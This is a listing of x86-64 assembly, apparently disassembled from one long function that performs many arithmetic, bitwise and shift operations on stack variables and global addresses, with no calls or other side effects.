mov rcx, qword [rsp + 0x9000]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5424], eax
mov rax, qword [rsp + 0xc5e0]
mov qword [rsp + 0xc838], rax
mov rax, qword [rsp + 0xa900]
mov rcx, qword [0x1401cc020]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8338], rax
movsx eax, byte [rsp + 0x216]
mov rcx, qword [rsp + 0x9540]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc0a2], al
movzx eax, byte [rsp + 0x228]
mov byte [rsp + 0x364], al
mov rax, qword [0x1401cdaf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x171c]
add eax, ecx
mov rcx, qword [rsp + 0x9fc8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa1e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a68]
add eax, ecx
mov word [rsp + 0x16f0], ax
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0xc840], rax
mov rax, qword [rsp + 0xb138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5234]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd20]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc490]
mov eax, dword [rax]
mov dword [rsp + 0x5458], eax
mov rax, qword [rsp + 0x80a0]
mov rcx, qword [rsp + 0x83f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ba0], rax
mov rax, qword [rsp + 0x8320]
mov rcx, qword [rsp + 0x97b8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x96c0], rax
movsx eax, word [rsp + 0x15dc]
mov rcx, qword [rsp + 0xa7e8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401cc1d4], ax
lea rax, [rsp + 0x33d]
mov qword [rsp + 0xc848], rax
mov rax, qword [rsp + 0xb918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x99a8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbe70]
mov word [rcx], ax
lea rax, [rsp + 0x360]
mov qword [rsp + 0xc850], rax
movzx eax, word [rsp + 0x19a4]
mov rcx, qword [0x1401cde28]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa348]
mov word [rcx], ax
mov rax, qword [rsp + 0xa100]
mov rcx, qword [rsp + 0xa690]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb690], rax
mov eax, dword [rsp + 0x531c]
mov dword [rsp + 0x545c], eax
mov rax, qword [rsp + 0xc6e8]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa4b8]
mov qword [rcx], rax
lea rax, [rsp + 0x53d0]
mov qword [rsp + 0xc858], rax
movsx eax, byte [rsp + 0x206]
mov rcx, qword [rsp + 0x9620]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc08e], al
mov rax, qword [rsp + 0x9b48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fb]
sub eax, ecx
mov byte [rsp + 0xf5], al
movzx eax, word [rsp + 0x1a94]
mov word [rsp + 0x1b10], ax
mov rax, qword [rsp + 0xc260]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb328]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9a90]
mov word [rcx], ax
movsx eax, byte [0x1401cd717]
mov rcx, qword [rsp + 0xc130]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x293], al
lea rax, [rsp + 0x544c]
mov qword [rsp + 0xc860], rax
mov rax, qword [rsp + 0xc6f8]
mov rcx, qword [rsp + 0xadd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa740], rax
mov rax, qword [rsp + 0xbf10]
mov eax, dword [rax]
mov dword [rsp + 0x5460], eax
mov rax, qword [rsp + 0xbae0]
mov rcx, qword [rsp + 0xb5b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc1b8], rax
mov rax, qword [rsp + 0xa8b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc018]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x188c], ax
mov rax, qword [0x1401cdb08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbf58]
movsx ecx, word [rcx]
imul eax, ecx
mov word [0x1401cc1d8], ax
lea rax, [rsp + 0x259]
mov qword [rsp + 0xc868], rax
mov rax, qword [rsp + 0x9050]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc530]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x244], al
lea rax, [0x1401cc062]
mov qword [rsp + 0xc870], rax
mov rax, qword [rsp + 0xc698]
movzx ecx, al
mov rax, qword [rsp + 0xae10]
shl rax, cl
mov rcx, qword [rsp + 0xa860]
mov qword [rcx], rax
mov rax, qword [0x1401cc020]
movzx ecx, al
mov rax, qword [rsp + 0xb270]
sar rax, cl
mov qword [rsp + 0x8458], rax
mov eax, dword [rsp + 0x4a50]
mov ecx, dword [rsp + 0x5400]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x477c], eax
mov rax, qword [rsp + 0xb4f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x500c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb08]
mov dword [rcx], eax
movzx eax, word [0x1401cc164]
mov word [rsp + 0x1b14], ax
movzx eax, word [rsp + 0x1850]
mov rcx, qword [rsp + 0xb250]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401cdc78]
mov word [rcx], ax
movsx eax, byte [rsp + 0x337]
mov rcx, qword [rsp + 0xb7e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x355], al
mov rax, qword [0x1401cd828]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1048]
and eax, ecx
mov rcx, qword [rsp + 0xc5b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9da8]
movzx eax, word [rax]
mov word [rsp + 0x1b18], ax
mov rax, qword [rsp + 0xc750]
mov rcx, qword [rsp + 0xb980]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8698], rax
lea rax, [rsp + 0xc0b8]
mov qword [rsp + 0xc878], rax
mov rax, qword [rsp + 0xc038]
mov ecx, dword [rsp + 0x4e90]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9268]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4998]
mov dword [rsp + 0x5464], eax
mov rax, qword [rsp + 0xc308]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa408]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9ab8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1a74]
mov word [0x1401cdea8], ax
mov rax, qword [rsp + 0x9410]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc848]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9058]
mov byte [rcx], al
lea rax, [0x1401cc0b7]
mov qword [rsp + 0xc880], rax
mov rax, qword [rsp + 0xa060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91e0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9058]
mov byte [rcx], al
mov eax, dword [rsp + 0x5428]
mov dword [rsp + 0x5468], eax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa030]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaab0]
mov rcx, qword [rsp + 0x9770]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9fb8], rax
mov eax, dword [rsp + 0x4eb4]
mov dword [rsp + 0x546c], eax
movzx eax, byte [rsp + 0x34c]
movzx ecx, byte [rsp + 0x207]
sub eax, ecx
mov rcx, qword [rsp + 0xa220]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1f2]
mov rcx, qword [rsp + 0x98a8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [str.xu__v0], al
mov rax, qword [rsp + 0xb0b0]
movzx eax, word [rax]
mov word [rsp + 0x1b1c], ax
movzx eax, word [0x1401cde50]
mov rcx, qword [rsp + 0x92e8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9640]
mov word [rcx], ax
movzx eax, word [rsp + 0x1520]
mov rcx, qword [rsp + 0xbdf8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb7b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x121]
mov byte [rsp + 0x365], al
mov rax, qword [rsp + 0xa2a8]
mov rcx, qword [rsp + 0x9e80]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4f7c], eax
lea rax, [rsp + 0x544c]
mov qword [rsp + 0xc888], rax
mov rax, qword [rsp + 0xc430]
mov rcx, qword [rsp + 0xa758]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9e50]
mov qword [rcx], rax
mov rax, qword [0x1401cc020]
mov qword [rsp + 0xc890], rax
mov rax, qword [rsp + 0xa4f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa718]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc082], al
movzx eax, word [rsp + 0x1774]
mov rcx, qword [rsp + 0xc738]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1684], ax
movsx eax, word [rsp + 0x11fc]
mov rcx, qword [rsp + 0x9980]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9a90]
mov word [rcx], ax
movzx eax, word [rsp + 0x15e4]
mov word [rsp + 0x1b20], ax
mov rax, qword [rsp + 0xbd18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x25e]
sub eax, ecx
mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0xba98]
mov ecx, dword [rsp + 0x5400]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4704], eax
mov rax, qword [rsp + 0xb478]
mov rcx, qword [rsp + 0xc5e0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x50d4]
mov ecx, dword [0x1401cd720]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5324], eax
mov rax, qword [rsp + 0xa210]
mov rax, qword [rax]
mov qword [rsp + 0xc898], rax
mov rax, qword [rsp + 0xb8d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x34b]
add eax, ecx
mov byte [0x1401cc06b], al
movzx eax, word [0x1401cc118]
mov rcx, qword [rsp + 0xc528]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1a6c], ax
mov rax, qword [rsp + 0xc248]
movzx eax, byte [rax]
mov byte [rsp + 0x366], al
movsx eax, word [rsp + 0x1b1c]
movsx ecx, word [rsp + 0x19b4]
sar eax, cl
mov word [rsp + 0xe94], ax
movsx eax, word [rsp + 0x162c]
movsx ecx, word [rsp + 0x16ac]
xor eax, ecx
mov word [rsp + 0x1828], ax
lea rax, [rsp + 0x47b8]
mov qword [rsp + 0xc8a0], rax
mov rax, qword [rsp + 0x9d38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb400]
mov qword [rsp + 0xc8a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc8a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4ebc], eax
mov rax, qword [rsp + 0xb7b0]
mov rax, qword [rax]
mov qword [rsp + 0xc8b0], rax
mov rax, qword [rsp + 0x9cf0]
mov rcx, qword [rsp + 0xb270]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb628], rax
mov rax, qword [rsp + 0xac88]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cc0a3]
add eax, ecx
mov byte [0x1401cc0bb], al
mov rax, qword [rsp + 0x9250]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9dd8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xac30]
mov word [rcx], ax
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
mov word [rsp + 0x1b24], ax
movzx eax, byte [rsp + 0xd6]
mov rcx, qword [rsp + 0xc638]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10e], al
lea rax, [rsp + 0x1ea]
mov qword [rsp + 0xc8b8], rax
mov rax, qword [rsp + 0xa4a8]
mov rcx, qword [rsp + 0xb0d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbdc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc760]
mov eax, dword [rax]
mov dword [rsp + 0x5470], eax
mov rax, qword [rsp + 0xa5c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d30]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x92d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa4e0]
mov rcx, qword [rsp + 0xab80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa100], rax
movzx eax, byte [rsp + 0x2c3]
mov byte [0x1401cd8d2], al
lea rax, [0x1401cc040]
mov qword [rsp + 0xc8c0], rax
movsx eax, word [rsp + 0x16f8]
mov rcx, qword [rsp + 0xc520]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1744], ax
movzx eax, byte [rsp + 0x33b]
mov byte [rsp + 0x367], al
movzx eax, byte [rsp + 0x1f1]
mov rcx, qword [rsp + 0xa068]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
mov rax, qword [rsp + 0x96f0]
mov ecx, dword [rsp + 0x4ec8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x50f0], eax
lea rax, [rsp + 0x9958]
mov qword [rsp + 0xc8c8], rax
mov rax, qword [rsp + 0x9ae8]
mov rcx, qword [rsp + 0xb560]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9150]
mov qword [rcx], rax
lea rax, [rsp + 0x5450]
mov qword [rsp + 0xc8d0], rax
mov rax, qword [rsp + 0xb308]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401cd948]
mov byte [rcx], al
mov rax, qword [0x1401cdde8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xac30]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x172c], ax
movzx eax, word [rsp + 0x1a1c]
mov rcx, qword [rsp + 0x9070]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1594], ax
mov rax, qword [rsp + 0xa888]
movzx eax, byte [rax]
mov byte [rsp + 0x368], al
movzx eax, word [rsp + 0x188c]
movzx ecx, word [rsp + 0x1684]
and eax, ecx
mov word [rsp + 0x1678], ax
lea rax, [rsp + 0x5348]
mov qword [rsp + 0xc8d8], rax
mov rax, qword [rsp + 0x9638]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa140]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9370]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbdb8]
mov eax, dword [rax]
mov dword [rsp + 0x5474], eax
mov rax, qword [rsp + 0x8a28]
mov rcx, qword [rsp + 0xb908]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc168], rax
mov rax, qword [rsp + 0xc3d8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc076]
sub eax, ecx
mov rcx, qword [0x1401cdcd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9740]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaac8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x19f8], ax
lea rax, [rsp + 0x289]
mov qword [rsp + 0xc8e0], rax
mov rax, qword [rsp + 0xc248]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cd847]
add eax, ecx
mov byte [rsp + 0x2f1], al
mov rax, qword [rsp + 0x9ad8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a90]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xad60]
mov rcx, qword [rsp + 0x9e58]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8458], rax
mov eax, dword [rsp + 0x5070]
mov ecx, dword [0x1401cc01c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50e4], eax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov dword [rsp + 0x5478], eax
mov rax, qword [0x1401cc028]
mov rcx, qword [rsp + 0x91b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7e0], rax
movsx eax, word [rsp + 0x1758]
movsx ecx, word [rsp + 0x19f4]
sub eax, ecx
mov word [0x1401cc1dc], ax
lea rax, [rsp + 0x365]
mov qword [rsp + 0xc8e8], rax
movsx eax, word [rsp + 0x15ec]
movsx ecx, word [0x1401cc12c]
shl eax, cl
mov word [rsp + 0x193c], ax
mov rax, qword [rsp + 0xa5e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeec]
sar eax, cl
mov rcx, qword [rsp + 0xb250]
mov word [rcx], ax
mov rax, qword [rsp + 0xbe30]
movzx eax, byte [rax]
mov byte [rsp + 0x369], al
mov rax, qword [rsp + 0x9018]
mov rcx, qword [rsp + 0xc540]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xaa40]
mov qword [rcx], rax
lea rax, [rsp + 0x516c]
mov qword [rsp + 0xc8f0], rax
mov eax, dword [rsp + 0x53e8]
mov ecx, dword [rsp + 0x5474]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5010], eax
mov rax, qword [rsp + 0xb440]
mov rcx, qword [rsp + 0x9b50]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9b40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c58]
movzx eax, byte [rax]
mov byte [rsp + 0x36a], al
mov rax, qword [rsp + 0xa160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x198c]
sub eax, ecx
mov word [0x1401cc1e0], ax
mov rax, qword [rsp + 0xc3b8]
movsx eax, word [rax]
mov rcx, qword [0x1401cdc88]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb800]
movzx eax, byte [rax]
mov byte [rsp + 0x36b], al
movzx eax, byte [rsp + 0x2c6]
mov rcx, qword [rsp + 0x9d60]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x305], al
lea rax, [rsp + 0x4f8c]
mov qword [rsp + 0xc8f8], rax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0xc518]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc6a8], rax
mov rax, qword [rsp + 0xae80]
mov rcx, qword [rsp + 0xbdb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x51e0], eax
lea rax, [0x1401cc028]
mov qword [rsp + 0xc900], rax
mov rax, qword [rsp + 0xa150]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc060]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2af], al
movsx eax, word [rsp + 0x1698]
movsx ecx, word [rsp + 0x11bc]
imul eax, ecx
mov word [0x1401cc144], ax
movzx eax, word [rsp + 0x1838]
mov word [rsp + 0x1b28], ax
mov rax, qword [rsp + 0xa160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc800]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x17f0], ax
mov rax, qword [rsp + 0xa828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc2]
sub eax, ecx
mov byte [rsp + 0x266], al
lea rax, [rsp + 0xa040]
mov qword [rsp + 0xc908], rax
mov rax, qword [rsp + 0xb848]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbf60]
mov qword [rsp + 0xc910], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc910]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4fc0], eax
mov eax, dword [rsp + 0x5334]
mov dword [rsp + 0x547c], eax
mov rax, qword [rsp + 0x9ff8]
mov rcx, qword [0x1401cd728]
mov qword [rsp + 0xc918], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc918]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xbca0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x2ef]
movzx ecx, byte [rsp + 0x335]
xor eax, ecx
mov rcx, qword [rsp + 0xa4f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1b28]
mov word [0x1401cdeac], ax
lea rax, [rsp + 0x17c4]
mov qword [rsp + 0xc920], rax
mov rax, qword [rsp + 0xc920]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb8]
or eax, ecx
mov rcx, qword [rsp + 0xc328]
mov word [rcx], ax
movzx eax, byte [rsp + 0x282]
mov byte [rsp + 0x36c], al
mov rax, qword [rsp + 0xa460]
mov rcx, qword [rsp + 0x9500]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb7f0], rax
mov rax, qword [rsp + 0xa9d0]
mov rcx, qword [rsp + 0xa328]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb088], rax
lea rax, [rsp + 0x4f58]
mov qword [rsp + 0xc928], rax
mov rax, qword [rsp + 0xb4a8]
mov ecx, dword [rsp + 0x4998]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5008], eax
lea rax, [rsp + 0x178c]
mov qword [rsp + 0xc930], rax
mov rax, qword [rsp + 0x93b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2c3]
add eax, ecx
mov byte [0x1401cd823], al
mov rax, qword [0x1401cddf0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb680]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9be8]
mov word [rcx], ax
lea rax, [rsp + 0x65]
mov qword [rsp + 0xc938], rax
mov rax, qword [rsp + 0x9cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb5a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
mov rax, qword [rsp + 0xc160]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x294]
sub eax, ecx
mov byte [rsp + 0x1ee], al
mov rax, qword [rsp + 0xa1c0]
mov eax, dword [rax]
mov dword [rsp + 0x5480], eax
mov rax, qword [rsp + 0xa3a8]
mov rcx, qword [rsp + 0xa8e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x97a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa308]
mov ecx, dword [rsp + 0x50d0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4728], eax
mov rax, qword [rsp + 0xa248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9198]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc6b8], rax
movsx eax, byte [rsp + 0x1c3]
movsx ecx, byte [rsp + 0x320]
xor eax, ecx
mov byte [0x1401cc0be], al
mov rax, qword [rsp + 0xb5d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x90c8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x16f0], ax
movzx eax, word [rsp + 0x15fc]
mov word [rsp + 0x1b2c], ax
mov rax, qword [0x1401cdd98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x298]
sar eax, cl
mov byte [rsp + 0x1ff], al
mov rax, qword [rsp + 0xba70]
movzx eax, word [rax]
mov word [rsp + 0x1b30], ax
mov rax, qword [rsp + 0xb038]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d88]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a78], rax
mov eax, dword [rsp + 0x4ee0]
mov ecx, dword [0x1401cc01c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5444], eax
lea rax, [rsp + 0xc5e0]
mov qword [rsp + 0xc940], rax
mov rax, qword [rsp + 0x96f0]
mov ecx, dword [rsp + 0x5280]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x95e8]
mov dword [rcx], eax
movzx eax, word [0x1401cc18c]
movzx ecx, word [rsp + 0x1650]
and eax, ecx
mov rcx, qword [0x1401cd800]
mov word [rcx], ax
lea rax, [rsp + 0x1404]
mov qword [rsp + 0xc948], rax
mov rax, qword [rsp + 0x9380]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1040]
add eax, ecx
mov word [rsp + 0x18d0], ax
movzx eax, byte [0x1401cc096]
mov byte [rsp + 0x36d], al
mov rax, qword [rsp + 0xc408]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa718]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x27b], al
mov rax, qword [rsp + 0x95e0]
mov rcx, qword [rsp + 0x8f78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc8a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8428]
mov qword [rsp + 0xc950], rax
mov rax, qword [rsp + 0x9a70]
mov ecx, dword [rsp + 0x4ff0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9968]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbeb0]
mov rax, qword [rax]
mov qword [rsp + 0xc958], rax
mov rax, qword [0x1401cdd28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa828]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc0bf], al
mov rax, qword [rsp + 0x97e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x189c]
add eax, ecx
mov word [rsp + 0x1878], ax
mov rax, qword [rsp + 0x9ba8]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd870]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc828]
mov byte [rcx], al
movzx eax, word [rsp + 0x17b8]
mov word [rsp + 0x1b34], ax
mov rax, qword [rsp + 0xa530]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x25d]
add eax, ecx
mov byte [rsp + 0x2d7], al
mov eax, dword [rsp + 0x52d0]
mov dword [rsp + 0x5484], eax
mov rax, qword [rsp + 0xc600]
mov rcx, qword [0x1401cc020]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9360]
mov rcx, qword [rsp + 0xc1e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4f44], eax
lea rax, [rsp + 0xace8]
mov qword [rsp + 0xc960], rax
mov rax, qword [0x1401cd8a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
sar eax, cl
mov rcx, qword [0x1401cddf8]
mov byte [rcx], al
movzx eax, word [rsp + 0x15b4]
movzx ecx, word [rsp + 0x164c]
shl eax, cl
mov rcx, qword [rsp + 0xab68]
mov word [rcx], ax
movzx eax, word [rsp + 0x15dc]
mov word [rsp + 0x1b38], ax
movzx eax, byte [rsp + 0x31c]
movzx ecx, byte [rsp + 0x342]
and eax, ecx
mov byte [rsp + 0x1db], al
movzx eax, word [rsp + 0x1850]
movzx ecx, word [rsp + 0x1914]
add eax, ecx
mov rcx, qword [rsp + 0xa8b0]
mov word [rcx], ax
mov eax, dword [rsp + 0x516c]
mov ecx, dword [rsp + 0x4ea4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a2c], eax
mov rax, qword [rsp + 0x9ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb860]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9580], rax
lea rax, [rsp + 0x5374]
mov qword [rsp + 0xc968], rax
mov rax, qword [rsp + 0xc320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c30]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc0d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2c4]
add eax, ecx
mov rcx, qword [0x1401cd968]
mov byte [rcx], al
lea rax, [rsp + 0x14c4]
mov qword [rsp + 0xc970], rax
mov rax, qword [rsp + 0xb178]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc5e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc2], al
mov rax, qword [rsp + 0xad20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2ab]
sub eax, ecx
mov byte [rsp + 0x255], al
lea rax, [rsp + 0x167c]
mov qword [rsp + 0xc978], rax
mov rax, qword [rsp + 0x9360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dd8], eax
mov rax, qword [rsp + 0xc4b8]
mov rax, qword [rax]
mov qword [rsp + 0xc980], rax
mov rax, qword [rsp + 0x9280]
mov ecx, dword [0x1401cd710]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xb128]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc750]
mov rcx, qword [rsp + 0x9370]
mov qword [rsp + 0xc988], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc988]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8f98], rax
